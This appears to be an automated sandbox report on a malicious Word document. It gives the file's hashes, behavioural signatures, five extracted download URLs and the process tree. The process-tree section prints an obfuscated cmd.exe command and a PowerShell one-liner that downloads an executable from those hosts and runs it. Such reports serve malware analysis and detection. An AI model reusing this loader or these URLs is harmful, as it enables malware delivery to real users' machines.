Analysis
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max time kernel
22s -
max time network
23s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
11-11-2020 21:32
Static task
static1
Behavioral task
behavioral1
Sample
14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c.doc
Resource
win10v20201028
General
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Target
14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c.doc
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Size
82KB
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MD5
d8cf142293ff0dda1cc5bc5d40804b97
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SHA1
beacebcca4ba412437b0c6f3c35ec63d0d90b3bd
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SHA256
14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c
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SHA512
a2bd79e9ea9760402536d20bf18e64486e54450fd0b9ce0d99ee26000acfd2abcfa1197de2ddc0cd352a8d4c8095e9604d713c55f6bb78cccf320faacf1b9ca8
Malware Config
Extracted
http://www.lt3.com.br/4P
http://licanten.tk/Tgpc38X
http://www.cainfirley.com/xzd8um
http://www.kanarya.com.tr/SU
http://www.goldschmittestans.ch/wtqNM
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3176 648 cmd.exe 67 -
Blacklisted process makes network request 3 IoCs
flow pid Process 26 1372 powershell.exe 32 1372 powershell.exe 33 1372 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 3176 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 648 WINWORD.EXE 648 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1372 powershell.exe 1372 powershell.exe 1372 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1372 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 648 wrote to memory of 3176 648 WINWORD.EXE 75 PID 648 wrote to memory of 3176 648 WINWORD.EXE 75 PID 3176 wrote to memory of 1372 3176 cmd.exe 79 PID 3176 wrote to memory of 1372 3176 cmd.exe 79
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\SYSTEM32\cmd.execmd /V/C"^s^e^t ^3^H^W=^M^y^q^ ^]V^-^ ^S^o/^ ^eF^o^ ^,^j^f^ ^X^Y^J^ ^4^M/^ ^jT^>^ /W^A^ ^5^3^D^ ^b^M^}^ ^I^qt^ ^.G^L^ ^u^e^#^ `I ^ ^sq.^ ^j)^Z^ ^A^z^P^}v^|N^}^D^M^9^{^b^l^w^h^[R^3cI^7^8^t^tu^m^a^|g^qc)^$r^}^j^2^J;;^w5^k^a^&^6^aN^M^_^ex^5^Lr^<^O2^b^>^k^t;^~^*(^W'^K^Q^a^~^O^}p)^g^-^$^;^[^P^ ^+^}^H^m^3r^O^ec^7^e^t^A^#^t^I^k^W^u^-^5^z)^e^[^e^i^k^b^S^>o^7rwv{^ ^jn^@(^5^I^1^X(^;P^2C)^6^-^o^W^ %^o^a^y^[^9^p^Z^~^;^$^T^A/^ I^:^'^,^D^]^4^Q^w^{^|^i^1^7^J^L^.^*^}^$?R^z(^4^a^8^eq^x^a^lR^W^0^i^d^Q^l^F^H^?^ ^d^&N^p^ah^q^E^o^0^yE^l(^#^Ln:^Q^P^w/^0^q^o^]()^D^+^2^f^.^0^+^d^k^ ^<)^T^9^2)^s^t^_^I^$^S^4^z^{^B^*^e^y^}^X^Yr^|C^E^t{^k^[^{^L^5^e)J^|^\^b^h^K^S^Av^F^<^o^A^3^i^$^h(^P ^U^H^;n^6(^F^i^8^a^S^ ;^E^y^Q^#^s^=^i^6^@^A^L^k^e^j^$1^+^#(^`nV^hr^[^pc^W^&D^a^F^,N^e^9^1^wr^$^]^+^o^&a7^f^`V^$^;^E^s^~'^Z^l^I^e^L^;^q^x^s^I^&^e^8^@^{^.^H^x^s^'^<^Fr^+^f^?Q^w^f^~^,^k^G^T^I^z^1^e^[^$^hV^:^+^Q^z^y^'n^t^@^\^*-^}^'/^E^O^+^+^z^Gcv^~^T^i^#^>^D^l^3^m^y^b^8^In^uNVn^p^5^M^t^:^P^W^ v^ ^B^,n^>^d^Fe^S^P^z^$$^:^#^=^,^gcW^=R^B^a^[^O^1p^h^.^;^$^+`^u^;^'^`^l'^LR^[^6v^g^+9^Q^g^k^4)^B^m^'^s^2^ ^ ^W%^.=^}^I^H^ ~^Q^L^wS9^yk^L^`^.z^t^o/^$^1/^t^;^4^q^x)^{^d^7^'^}^:^?^@^Y^-^h^'^e^Z^W(^ ^Or^t^E^b^7^i^[C^0^l^3^.n^p^T^:^D^S^T^\^Z^.n^x^8^'^ ^8^w^M^,^ihN^h^ ^]^q^Q^&^~^t^5^A^Bw^p^X^]/^g^9^K^hR^ xc^Y^=^@^.^w^T^]^s^2^7^]n^8^[^6^aC^7^T^t^o^S^[s^u^x^T^e^g^Ep^t^p^,/^t@r-^ir^S^ m^9^{^O^h^<^W^@c]U^D^sr^1^;^d^&^K^p^lNC^I^o^~N^F^g^-^z/.v^A^\^w^-^#^G^w^M^Sxw^3C(/^h^1^7/^G^6^+^:^-^j^xp^>^Ja^t^D^@^}^t^s^|^&^h^X^|^1@c7^}^Ur^&^@^S^Bc^\/^Z;^|rc^g^>^t^L^i^,^.^k^|^d^m^{N/^o^z^j^5cv^.^U^.^4^I^*^a^$^O^]y^W^@^6r^X^Q^O^a^{^X^Sn^D^Y^[^a^l^w^A^k^M^m^H^.^6^#r^w^~^.^S^w^=^&^hw#^en//^Q^8/)$^8^:$^z^Qp^GC^.^t^e^h^k^t^B^i^t^h^ c(^@)^A^D^mI^G^h^u^<^_^l^8^i^w^W^d^P^<(^z^;^g^=^x^`^t^I/(^x^S^m^ig^w^o^6^J^3c^<^l^#^.$^[c^yt^<^W^eR=^A^l^w^{^`r^}v%^i)^a/^f^<^M^Ln^Ph^B^i^?^W^&^a^Z^q^Yc^A%^i^.^-^q^h^wm^t^A^w^a^}^-^w^;^t^,/cn^T/^m^Q^:^:^ ^4^]^p^+^ ^B^t^l^w^Y^t^<^mR^h^O^e^Y@^f^Y^~^X^DJ^m^8^I^o^Z^3F^\^@c^F^<^D^p^1Dv^g^'^+^8^Ty^=//n^a^d^k^f^|^0^t^h^'^L^.^a^I^8nh^#^U^e^+^Y^|^t^o^Bcn0^o^K^a^H^M^=c^f^O^[^i^x^?^3l^X^B^l/^w^=^M/^E/^m^:)M^G^p/^>^k^t^>N^z^t%^;^s^h^{^:^$^@^$^EN^P^en/^4^oR^j/[^E^yr^{^T^Yb^T^\^;^.^A^?J^m^Ik^\^oCZ^_cc^ ^q^.n^G^6^3^_V^]^t^<^2^m^l^Y^7N^.^O^Fq^w9^Q^3^w^<^_^X^w^:^3^@/^+^\n/^`^I^ ^:^4^?^h^p^S^u^?^t^H^6^;^t^ ^_^G^hC^L^{^'^_^|r^=^$^#^Y^b^o^H^t^A^`^y^D^o^M^X^E^$E^K^M^;^~^L^[^tn^3^yn^5^b/^e^m^y^;^i=^1Q^l^0^?^_Cr^FC^b^F^]/^e)^b^Z^W^{^J%^.^,^h(^t^5^,^6^e^7e^oN^@^G^9^ CY^9^t^I^0^<c^O^e^}^e^bm^H^j^_^.^9^bm^~^:^o^ ^3^l^-c^Bnw%^IC^e^D^5^Tn^`R^{^=^4-^x^k^E^U^\^T^GCR^s^_^qn^$^o^g^f^ ^YNCl^4^I:^lC^.0^e^p^'^.^h^`^h^S^s^~^A^`r^M^p^T^e^\^D^d^w^B^]^4^o^K^1^w^p&&^for /^L %C ^in (^1^4^4^7^;^-^4^;^3)^d^o ^s^e^t ^kN^I^Z=!^kN^I^Z!!^3^H^W:~%C,1!&&^i^f %C ^l^e^q ^3 c^a^l^l %^kN^I^Z:^*^kN^I^Z^!^=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $sTk=new-object Net.WebClient;$oAb='http://www.lt3.com.br/4P@http://licanten.tk/Tgpc38X@http://www.cainfirley.com/xzd8um@http://www.kanarya.com.tr/SU@http://www.goldschmittestans.ch/wtqNM'.Split('@');$zkw = '496';$paW=$env:public+'\'+$zkw+'.exe';foreach($LiQ in $oAb){try{$sTk.DownloadFile($LiQ, $paW);Invoke-Item $paW;break;}catch{}}3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1372
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